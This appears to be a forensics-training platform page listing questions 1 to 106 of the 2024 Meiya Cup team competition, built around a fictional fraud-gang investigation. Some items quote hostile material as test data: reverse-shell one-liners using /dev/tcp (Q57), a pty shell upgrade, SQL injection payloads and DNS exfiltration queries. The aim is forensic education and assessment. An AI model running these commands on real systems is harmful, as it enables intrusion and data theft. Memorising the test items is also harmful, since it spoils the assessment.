跳至主要内容
DigiForensics 电子取证技术学习平台 搜索⌘ K

搜索全站

输入至少 2 个字符，查找相关内容。

↑↓ 选择 Enter 打开Esc 关闭
赛事比赛 公开赛事 2024 美亚杯团体赛 高阶

2024 美亚杯团体赛

2024 年美亚杯团体赛，收录 130 道题，按 11 个检材或主题分组练习。

美亚杯 2024 130 道题目 130 分 0 人参与
当前账号可以阅读题目，但没有作答权限。

Alice手机

1 填空题 必答 0 / 1 分 未作答
在个人赛的最后一部分,你对David的数字设备进行了取证检查,发现他与一名成员Alice有可疑的沟通。你现在分析Alice 的手机。 参考Alice_Mobile.bin,Alice所使用的手机网络运营商公司的名称是什么? (答案格式: 请用大写英文字母作答 ，无须留空白)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
2 填空题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,Alice 所使用的谷歌电子邮件地址是? (答案格式: 请用小写英文字母作答,例如:abc@google.com)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
3 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,谁向Alice发送了一个含有个人资料的xlsx文件?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
4 填空题 必答 0 / 1 分 未作答
承上题,参考Alice_Mobile.bin,该文件以MD5计算的哈希值是? (答案格式: 请用大写英文字母作答和用阿拉伯数字回答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
5 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin, Alice于Facebook(脸书)所建立的群组?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
6 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin, Alice在2024年8月15日于哪个地铁站和"客服人员"相约见面?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
7 填空题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,受骗女子欧凯被指示将虚拟货币转到哪个钱包地址? (答案格式: 大写英文字母, 小写英文字母及阿拉伯数字混合组成,例如: 0xDasdGJHI34twebGHJK2354YU34h)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
8 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin, Alice指示"客服人员"使用什么交通工具离开香港?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
9 填空题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,客服人员"ZHANG WEI"的银行卡号是多少? (答案格式:用阿拉伯数字回答, 例如: 54613165456431)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
10 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,Alice总共在脸书(FACEBOOK)上发布了多少张照片?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
11 填空题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,应用程序WhatsApp的数据库 (database) 内, 哪个message_type代表发送的内容是表情包 (Sticker)? (答案格式:用阿拉伯数字回答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
12 填空题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,在Alice手机中,哪一个数据库(Database)记录了照片的数据? (答案格式:只需使用全部大写回答, 例如:ABC.DB)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
13 填空题 必答 0 / 1 分 未作答
承上题,参考Alice_Mobile.bin,该文件的最后修改日期和时间 (Last Modified Time) 是? (答案格式:YYYY-MM-DD HH:MM:SS)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

John手机备份

14 单选题 必答 0 / 1 分 未作答
从Alice的手机中发现,她一直与一名叫John的成员保持联系,你接着分析John的手机｡ 参考John_Smartphone_itunebackup.zip, 备份密码是「1234」, 回答以下题目: 在WhatsApp通讯软件内「三五成群」群组于什么时间创建?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
15 单选题 必答 0 / 1 分 未作答
参考John_Smartphone_itunebackup.zip,照片IMG_007 的创建日期时间是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
16 单选题 必答 0 / 1 分 未作答
参考John_Smartphone_itunebackup.zip,John曾使用什么通讯软件联系Ben?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
17 填空题 必答 0 / 1 分 未作答
参考John_Smartphone_itunebackup.zip,于“三五成群”群中, 电子表格文件"Personal_data.xlsx"是由哪一个电话号码发送到该群组的? (答案格式:只需要用阿拉伯数字回答,包含国际电话区号和电话号码,例如:85290001111)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben手机

18 单选题 必答 0 / 1 分 未作答
他与一个叫Ben的人有可疑的沟通｡你接着分析Ben的手机｡ 参考BeniPhone.zip,根据 Ben 手机内通讯软件的记录,"This is a RAT APK that allows us to control Android devices remotely, enabling data access, monitoring and manipulation through an interface"是在什么时间接收或发出的?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
19 单选题 必答 0 / 1 分 未作答
参考BeniPhone.zip,根据 Ben 手机内的照片记录,"IMG_0011.PNG"是通过哪种方式生成的?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
20 单选题 必答 0 / 1 分 未作答
你发现了该犯罪团伙似乎有一个共同的聊天群,其中包含有关可疑资本管理(与虚拟货币相关)的更多线索｡ 参考该聊天群组对话分析,John,David及Alice筹集资金的目的是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
21 单选题 必答 0 / 1 分 未作答
参考該聊天群对话、David,Emma與Clara 的对话及IDFC的交易记录分析,哪一个虚拟货币地址储存John,David及Alice所筹集的IDFC?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Alice手机

22 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,Alice 总共使用了多少个虚拟货币地址直接接收受害人的IDFC?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
23 多选题 必答 0 / 1 分 未作答
參考David_Laptop.e01內找到的IDFC交易记录,在收取受害人的IDFC后,它之后会再流向哪些虚拟货币地址?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
24 单选题 必答 0 / 1 分 未作答
承上题,上述IDFC去到那些地址后,谁掌管这些IDFC? (提示:分析IDFC的交易记录及个人赛所搜集的证据)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
25 单选题 必答 0 / 1 分 未作答
2024年9月,Tom Victor带同其秘书Amy来到警署报案,称其秘书被骗子用人工智能视频在2024年8月29日早上骗去10,000,000 IDFC,请找出该交易的交易哈希(Transaction Hash) ?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
26 多选题 必答 0 / 1 分 未作答
就現時搜集到的證據、David_Laptop_64GB.e01内的资料及IDFC的资金流分析，下列哪些虚擬货币地址是最終诈骗集团儲存犯罪所得的地址?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
27 单选题 必答 0 / 1 分 未作答
你现在查看Ben的笔记本电脑,并发现了 APK 文件｡ 一般而言,APK 的关键组成部分是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
28 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, 这个 APK 没有 classes.dex 文件,而是有 smali 文件,以下哪一个陈述是正确的?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
29 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, Ben 使用了哪个工具包生成恶意APK 以控制受害者的设备?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
30 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk,确认哪个 .xml 文件被特别添加为主活动(activity_main)的布局文件?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
31 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, 确认被指定为主活动层(activity main layer) .xml 文件的公共 ID?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
32 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk,确认应用程序没有要求的权限?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
33 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk,ahmyth/mine/king/ahmyth/ 文件夹下的 b.smali 文件的主要功能是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
34 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk,在 ahmyth/mine/king/ahmyth/ 文件夹下的 b.smali 文件中,字节数组(Byte Array)在发送到服务器之前执行了哪一系列操作,最终的图像格式是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
35 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, 在 ahmyth/mine/king/ahmyth/ 文件夹下的b.smali文件中,图像在发送到服务器時的压缩比率是多少?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
36 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk,在 ahmyth/mine/king/ahmyth/ 文件夹下的 ConnectionManager.smali 中,sendReq method 的目的是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
37 单选题 必答 0 / 1 分 未作答
承上题,参考Ben_Laptop.zip内的Joshe Investment.apk,C2服务器的 IP 地址及端口号?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
38 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, ahmyth/mine/king/ahmyth/ 文件夹下的 g.smali 文件中,MediaRecorder 被初始化用于录音｡如果 setAudioSource() 方法使用了错误的参数,会发生什么,且这将如何影响录音过程的功能?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
39 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, ahmyth/mine/king/ahmyth/ 文件夹下的 g.smali 文件中,TimerTask 用于在启动 MediaRecorder 后调度动作｡TimerTask 在这个过程中有什么作用?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
40 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, 在 ahmyth/mine/king/ahmyth/ 文件夹下的 h.smali 文件中,method a() 和method b() 的主要功能有什么区别?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
41 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip内的Joshe Investment.apk, 在 ahmyth/mine/king/ahmyth/ 文件夹下的 h.smali 文件中,method b() 需要哪些参数?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben笔记本

42 单选题 必答 0 / 1 分 未作答
在分析Ben的笔记本电脑时,你从调查人员那里获得了以下信息：在对一名被捕的犯罪集团成员进行审问时获得的情报显示,Ben对John心怀怨恨,因为John扣留了Ben的犯罪收益份额｡因此,Ben加密了John的机密文件夹,以限制他的访问｡ 参考Ben_Laptop.zip,解密secretExcel.encrypted的第一步应该是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
43 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,在加密文件secretExcel.encrypted中,初始向量 (Initial Vector) 的值是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
44 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,在加密文件secretExcel.encrypted中,盐值 (SALT) 是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
45 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,查看 'encrypt.py'代码,如果更改'PBKDF2' 的 'count' 参数会产生什么影响?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
46 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,根据分析及计算后,解密secrectExcel.encrypted所用的key具体值是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
47 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,解密后的 Excel 文件中,程琳的电话号码是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
48 填空题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,解密后的 Excel 文件中,周亮的ID/Passport Number是什么? (提示：只需使用阿拉伯数字回答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
49 单选题 必答 0 / 1 分 未作答
根据可能难以破解的加密,你意识到Ben对黑客技术有深入的了解｡请回答以下问题,以便了解Ben的运作｡ Ben想要有效地搜索信息｡他可以使用以下哪个Google高级搜索运算符来搜索某个特定网站?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
50 单选题 必答 0 / 1 分 未作答
参考材料1.pdf,Ben试图入侵一个系统,他尝试在系统中打开HTTP服务器｡ 使用Python内置的http.server模块启动基本HTTP服务器的命令是什么,以便攻击者从目标机器下载文件?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
51 单选题 必答 0 / 1 分 未作答
参考材料2.pdf,Ben准备了几个用于黑客攻击的脚本,这段代码的攻击目的是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
52 单选题 必答 0 / 1 分 未作答
Ben准备了几个用于黑客攻击的脚本｡参考材料3.pdf,他采用了什么技术来保护代码?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
53 单选题 必答 0 / 1 分 未作答
参考材料4.pdf,他利用了什么方法来获取反弹shell(Reverse shell)?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben网络流量

54 单选题 必答 0 / 1 分 未作答
参考1.pcap,Ben使用了哪些命令来扫描目标机器（提示:Ubuntu）? i) arp-scan -l ii) nmap -p1-65535 -sV -sC -O iii) nmap -Sx iv) nmap -sS
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
55 单选题 必答 0 / 1 分 未作答
参考2.pcap,第56号数据包的代码功能是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
56 填空题 必答 0 / 1 分 未作答
参考1.pcap,当Ben成功进入目标系统时,攻击者获取的账户? (答案格式:请使用小写英文字母作答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
57 单选题 必答 0 / 1 分 未作答
Ben正在尝试入侵一个系统,并且他正在进行开源研究,他发现 nc -lvp 9000 将被用来连接到反弹shell (Reverse Shell),Ben将使用什么命令来创建反弹shell (Reverse Shell)? i) 0<&196;exec 196<>/dev/tcp/10.10.10.10/9000;sh <&196 >&196 2>&196 ii) exec 5<>/dev/tcp/10.10.10.10/9000;cat <&5 | while read line; do $line 2>&5 >&5; done iii) /bin/bash -i >& /dev/tcp/192.168.217.139/4444 0>&1 iv) sh -i 5<> /dev/tcp/10.10.10.10/9000 0<&5 1>&5 2>&5
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
58 填空题 必答 0 / 1 分 未作答
参考材料5.pdf,Ben输入了“find / -perm -4000 2>/dev/null”后,显示了材料5.pdf的內容,這些內容所显示的内容除具有执行权限,还设置了什么? (答案格式:请以大写英文字母作答输入答案)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
59 单选题 必答 0 / 1 分 未作答
Ben发现了下面的命令import pty; pty.spawn(“/bin/bash"),它的功能是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
60 填空题 必答 0 / 1 分 未作答
你注意到Ben的笔记本电脑上安装了暗网 Tor,请回答以下问题。 Ben应该输入什么命令来在 Kali Linux 中执行 Tor 浏览器? (答案格式:小写英文字母和符号'-'混合作答,例如:abc-def)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben笔记本

61 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,Ben经常使用 Tor 浏览器,该 Tor 浏览器把多少个 .onion 链接添加为书签?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
62 单选题 必答 0 / 1 分 未作答
在检查Ben的记录时,发现了Port 9151的连接,那是指Ben在使用什么浏览器?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
63 判断题 必答 0 / 1 分 未作答
参考材料6.pdf,应该保持默认设置,以便 Firefox 浏览器使用 Tor 网络?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
64 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,Ben使用 OpenVPN 5.196.64.231 多少天? (答案格式:只需使用阿拉伯数字回答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
65 填空题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,他使用了哪种算法加密密码? (答案格式:大写英文字母和符号'-' 混合组成)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
66 单选题 必答 0 / 1 分 未作答
在2024年8月16日17:40:06,发生了什么? i) 无法在套接字(socket)上执行操作 ii) 系统缺乏足够的缓冲区空间 iii) 队列(queue)已满｡ (提示: 1)套接字是用于网络通信的编程接口,允许程序在网络上发送和接收数据, 2) 队列已满是程序试图将更多的元素插入到一个已经达到容量上限的队列中)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben U盘与SD卡

67 单选题 必答 0 / 1 分 未作答
调查员把一只属于Ben的U盘和一张SD卡交给了你进行分析｡ 参考Ben_USB.e01,是什么导致了“满汉全席.jpg”和“满汉全席Secret.jpg”之间的大小差异?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
68 填空题 必答 0 / 1 分 未作答
参考BenSDCard.e01,Ben的SD卡的解密密码是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben笔记本

69 填空题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,在2024/08/23 14:54:59 UTC+8,Ben 浏览了哪个网站? (答案格式: "https://xxxxxx.com/")
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
70 填空题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip,Ben 浏览上一题所述的网站时连接到他的计算机的 Wi-Fi MAC 地址是? (答案格式:"A1:B2:C3:D4:E5:F6")
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
71 单选题 必答 0 / 1 分 未作答
参考Ben_Laptop.zip和Ben_Jumpstation.zip,回答以下问题: Ben的计算机使用下列哪款远程桌面软件访问了Ben的跳转站(Jumpstation)? i:向日葵远程控制 ii:AnyDesk iii:TeamViewer
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Ben跳转站

72 填空题 必答 0 / 1 分 未作答
参考Ben_Jumpstation.zip,Ben的跳转站 (Jumpstation)IP 地址和子网掩码(Subnet mask)是什么? (答案格式:192.168.1.1/28)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
73 填空题 必答 0 / 1 分 未作答
参考Ben_Jumpstation.zip,在Ben的跳转站(Jumpstation)上,该远程桌面软件中的访问ID是什么? (答案格式:请用阿拉伯数字作答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
74 填空题 必答 0 / 1 分 未作答
参考Ben_Jumpstation.zip,Alice何时从跳转站(Jumpstation)下载了文件?（请以UTC+8回答） (答案格式:YYYY-MM-DD HH:MM:SS)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
75 单选题 必答 0 / 1 分 未作答
参考Ben_Jumpstation.zip,有多少个访问ID连接过跳转站 (Jumpstation)?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
76 单选题 必答 0 / 1 分 未作答
您正在检查来自 Web 应用程序防火墙的 HTTP流量日志,并注意到以下日志条目: [2023-10-15 11:45:12] "GET /search?q=%27%3B+SHUTDOWN+-- HTTP/1.1" 500 [2023-10-15 11:45:15] "GET /search?q=%27+UNION+SELECT+password+FROM+users+-- HTTP/1.1" 200 [2023-10-15 11:45:18] "GET /search?q=%27+OR+1%3D1+-- HTTP/1.1" 200 根据这些日志条目,下列哪项陈述正确识别了攻击的类型和目标组件? i. 正在尝试 SQL 注入攻击｡ ii. 攻击者瞄准的是 Web 应用程序的数据库｡ iii. 正在执行跨站点脚本 (XSS)攻击｡ iv. 正在瞄准 Web 服务器的操作系统｡
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
77 单选题 必答 0 / 1 分 未作答
在对网络日志进行取证分析时,您发现内部主机向可疑網域发出了不寻常的 DNS 查询 Timestamp:2024-09-23 12:00:00 Query:dGhpc3Bj.susdomain.com Type:TXT Timestamp:2024-09-23 12:05:00 Query:cGFzc3dvcmRpcw==.susdomain.com Type:TXT Timestamp:2024-09-23 12:10:00 Query:TWVpeWEyMDI0.susdomain.com Type:TXT 结果顯示包含大量 base64 编码数据,攻击者使用了什么技术?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
78 单选题 必答 0 / 1 分 未作答
在检查内部客户端和外部服务器之间的捕获包,您注意到以下Transport Layer Security (TLS) 握手消息: Client Hello: Supported Versions:TLS 1.0, TLS 1.1, TLS 1.2 Cipher Suites:TLS_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA Server Hello: Selected Version:TLS 1.0 Cipher Suite:TLS_RSA_WITH_RC4_128_SHA 鉴于客户端和服务器都支持更高版本的 TLS 和更强的加密套件,下列哪些是降级的合理解释? i. 中间人攻击导致协议降级｡ ii. 错误配置导致回退到较弱的加密方式｡ iii. 由于客户端与服务器的兼容性问题,属于正常操作｡
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
79 单选题 必答 0 / 1 分 未作答
參考以下HTTP访问日誌片段: 192.168.1.1 - - [12/Oct/2023:14:55:36 +0000] "GET /index.html HTTP/1.1" 200 1024 192.168.1.15 - - [12/Oct/2023:14:56:10 +0000] "POST /login.php HTTP/1.1" 200 512 192.168.1.10 - - [12/Oct/2023:14:57:01 +0000] "GET /admin/dashboarD:php HTTP/1.1" 403 256 192.168.1.20 - - [12/Oct/2023:14:58:25 +0000] "GET /index.html HTTP/1.1" 200 1024 哪个IP地址试图访问受限页面?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
80 单选题 必答 0 / 1 分 未作答
參考以下网络数据包捕获的十六进制部分: 0000 00 1a a0 b0 c0 d0 00 1b c1 d1 e1 f1 08 00 45 00 0010 00 3c 1c 46 40 00 40 06 a6 ec c0 a8 01 0a c0 a8 0020 01 14 00 50 d1 5c 1a 2b 3c 4d 5e 6f 70 80 90 a0 0030 b0 c0 d0 e0 f0 00 00 00 00 50 02 20 00 b5 e2 00 数据包的源IP地址是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
81 单选题 必答 0 / 1 分 未作答
參考以下Wireshark捕获摘要: No. Time Source Destination Protocol Length Info 1 0.000000 192.168.1.10 192.168.1.255 ARP 42 Who has 192.168.1.255? Tell 192.168.1.10 2 0.005000 192.168.1.20 192.168.1.10 ICMP 98 Echo (ping) request 3 0.010000 192.168.1.10 192.168.1.20 ICMP 98 Echo (ping) reply 4 0.020000 192.168.1.30 192.168.1.10 TCP 66 12345 > 80 [SYN] Seq=0 Win=64240 MSS=1460 5 0.025000 192.168.1.10 192.168.1.30 TCP 66 80 > 12345 [SYN, ACK] Seq=0 Ack=1 Win=64240 MSS=1460 6 0.030000 192.168.1.30 192.168.1.10 TCP 54 12345 > 80 [ACK] Seq=1 Ack=1 Win=64240 描述此捕获中发生的事件顺序｡
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
82 单选题 必答 0 / 1 分 未作答
參考服务器上netstat命令的以下输出: Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 192.168.1.10:22 203.0.113.20:54321 ESTABLISHED tcp 0 0 192.168.1.10:80 198.51.100.5:12345 ESTABLISHED tcp 0 0 192.168.1.10:443 203.0.113.25:23456 ESTABLISHED 哪些服务当前正在服务器上运行并监听?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
83 单选题 必答 0 / 1 分 未作答
参考以下电子邮件头信息: From:"John Doe" <john.doe@example.com> To:"Jane Smith" <jane.smith@company.com> Date:Thu, 12 Oct 2023 19:00:00 +0000 Subject:Important Update Received:from unknown (HELO mail.example.com) (192.0.2.10) by mail.company.com with SMTP; Thu, 12 Oct 2023 19:00:05 +0000 X-Mailer:PHPMailer 5.2 识别可能表明电子邮件被伪造的任何异常｡
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
84 单选题 必答 0 / 1 分 未作答
在网络取证中,您会检查TCP/IP数据包中的哪个字段来验证数据在传输过程中是否受到了破坏?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
85 单选题 必答 0 / 1 分 未作答
以下哪个特征最能表明僵尸网络中的指挥与控制(C2)通信?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
86 单选题 必答 0 / 1 分 未作答
在IP封包分析中，哪一個數值最能夠協助推斷封包經過的距離？
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Alice MacBook

87 单选题 必答 0 / 1 分 未作答
通过从跳转站获得的信息(Ben_Jumpstation.zip),你认为Alice的笔记本电脑可能包含与犯罪相关的更多信息｡你建议调查员进一步扣押Alice的笔记本电脑进行分析｡ 参考Alice_Macbook.e01,计算机名称是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
88 填空题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,Alice的计算机运行的macOS Monterey版本是? (答案格式:123.456.789)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
89 填空题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,Alice的计算机的EN0 MAC地址是? (答案格式: xx:xx:xx:xx:xx:xx, 小写英文字母和阿拉伯数字混合组成)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
90 填空题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,Alice在2024年8月19日收到了一个包含15个人个人资料的Excel文件,她是从哪一个平台下载这个文件的? (答案格式: 请用小写英文作答 (无须留空白位),例如:facebook)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
91 填空题 必答 0 / 1 分 未作答
承上题,参考Alice_Macbook.e01,Alice是何时在她的Mac上安装了上述应用程序? (答案格式:YYYY-MM-DD HH:MM)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
92 填空题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,Alice在2024年8月19日在计算机上截取了两张屏幕截图,都是关于安置客服人员的电骗中心位置,她是使用哪个浏览器来搜索这个位置?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
93 填空题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,她的计算机的Team Viewer ClientID是多少? (答案格式:只需使用阿拉伯数字回答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
94 单选题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,Alice曾经登录Teamviewer并获取一个包含个人数据的excel文件,Alice是透过以下哪一个方法登录Teamviewer以获取该文件?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
95 单选题 必答 0 / 1 分 未作答
承上题,上述包含个人数据文件的文件名是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
96 填空题 必答 0 / 1 分 未作答
承上题,参考Alice_Macbook.e01,Alice是何时通过Teamviewer 获取上述包含个人资料的文件的? (答案格式:YYYY-MM-DD HH:MM)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
97 填空题 必答 0 / 1 分 未作答
参考Alice_Macbook.e01,Alice透过Teamviewer连接另一台计算机以获取文件的Teamviewer ID是多少? (答案格式:只需使用阿拉伯数字回答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

John台式机

98 填空题 必答 0 / 1 分 未作答
同样,跳转站(Ben_Jumpstation.zip)也指向一些可能从John的桌面计算机获取的关键信息。 参考John_Desktop.e01, 系统最后关机时间是? (答案格式:YYYY-MM-DD HH:MM:SS)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
99 单选题 必答 0 / 1 分 未作答
参考John_Desktop.E01, 系统连接USB SanDisk 3.2Gen 1, 其序列号是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
100 判断题 必答 0 / 1 分 未作答
参考John_Desktop.e01, 于2024年8月28日13时57分21, John曾连接过Meta Quest 3吗?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
101 填空题 必答 0 / 1 分 未作答
参考John_Desktop.E01, John在何时打开了Joshe investment.JPG文件? (答案格式:YYYY-MM-DD HH:MM:SS)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
102 填空题 必答 0 / 1 分 未作答
参考John_Desktop.e01, 用户 "DESKTOP-HDKJIJJ" 的安全标识符(SID)是? (答案格式:大写英文字母,阿拉伯数字和符号'-' 混合组成)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
103 单选题 必答 0 / 1 分 未作答
参考John_Desktop.e01, 有多少个用户帐户是停用(disabled)?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
104 填空题 必答 0 / 1 分 未作答
参考John_Desktop.E01, 该计算机被动态主机配置协议(DHCP) 所分配的IP位址是? (答案格式:123.123.123.123)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
105 单选题 必答 0 / 1 分 未作答
参考John_Desktop.E01, DF_2024_08_29_10_01_27_906.mp4 是什么类型的视频?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

VR眼镜

106 单选题 必答 0 / 1 分 未作答
在搜查John住所期间,调查员检取了一副虛疑實景 (VR) 眼鏡进行了取证检查。 参考Quest_3_2G0YC5ZFB307D7.zip 文件,虛疑實景 (VR) 眼鏡有多少个使用者?
当前账号可以阅读题目，但没有作答权限。
队友动态
